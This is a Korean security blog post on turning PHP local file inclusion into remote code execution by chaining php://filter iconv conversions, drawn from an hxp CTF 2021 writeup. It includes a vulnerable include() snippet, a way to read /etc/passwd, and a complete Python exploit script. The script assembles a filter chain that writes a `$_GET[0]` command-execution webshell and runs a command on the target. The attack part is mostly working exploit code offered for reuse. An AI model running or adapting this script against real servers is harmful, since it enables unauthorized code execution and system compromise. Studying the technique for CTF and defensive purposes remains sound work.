본문 바로가기

보안/취약점

[PHP Filter chain] LFI2RCE

728x90

iconv 변환 필터를 이용하여 서버측의 필터링 기능 우회를 성공하면서 발견된 취약점이다. 

PHP Filter의 활용

  • `php://input` , `php://filter` , `php://output` 같은 스트림 래퍼를 활용하여 파일 경로를 조작하거나 데이터를 읽어들일 수 있다.
  • `php://filter` : php에서 파일 스트림을 필터링할 수 있도록 하는 스트림 래퍼이다. 이를 사용하면 데이터를 실시간으로 변환하거나 필터링 할 수 있다. 

 

php://filter/변환:필터/파일경로

예를 들어 아래와 같은 코드를 사용하면 사용자 입력을 통해 파일 경로를 포함시켜 비인가 경로에 접근 할 수 있다.

<?php
$file = $_GET['file'];
include("php://filter/convert.base64-encode/resource=$file");
?>

 

 file의 파라미터를 통해 URL 파라미터를 `../../etc/passwd` 로 설정하면 파일의 내용을 Base64로 인코딩하여 읽어낼 수 있다.

 

[PHP Filter chain] LFI2RCE

r = requests.get(challenge_url, params={
    "0": "/readflag",
    "action": "include",
    "file": f"php://filter/{filters}/resource={any_file_we_can_read}"
})
print(r.text)
  • `convert.iconv.UTF8.CSISO2022KR\x1b$)C` 항상 문자열 앞에 추가됩니다
  • `convert.base64-decode` 는 기본적으로 유효한 base64가 아닌 모든 문자를 무시합니다.

 

  1. \x1b$)C위에서 설명한 대로 문자열 앞에 추가합니다 .
  2. 초기 base64를 그대로 유지하고 방금 추가한 부분을 유일한 유효한 base64 문자가 base64로 인코딩된 PHP 코드의 다음 부분인 문자열로 변환하는 일부 iconv 변환 체인을 적용합니다.
  3. 문자열을 base64-decode 및 base64-encode하여 중간에 있는 모든 가비지를 제거합니다.
  4. 우리가 구성하려는 base64가 아직 완료되지 않았다면 1로 돌아갑니다.
  5. base64-decode를 사용하여 php 코드를 얻습니다.

 

전체 스크립트

import requests

url = "http://localhost/index.php"
file_to_use = "/etc/passwd"
command = "/readflag"

#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"

conversions = {
    'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C': 'convert.iconv.UTF8.CSISO2022KR',
    '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}


# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"


for c in base64_payload[::-1]:
        filters += conversions[c] + "|"
        # decode and reencode to get rid of everything that isn't valid base64
        filters += "convert.base64-decode|"
        filters += "convert.base64-encode|"
        # get rid of equal signs
        filters += "convert.iconv.UTF8.UTF7|"

filters += "convert.base64-decode"

final_payload = f"php://filter/{filters}/resource={file_to_use}"

r = requests.get(url, params={
    "0": command,
    "action": "include",
    "file": final_payload
})

print(r.text)

 

https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d

 

Solving "includer's revenge" from hxp ctf 2021 without controlling any files

Solving "includer's revenge" from hxp ctf 2021 without controlling any files - writeup.md

gist.github.com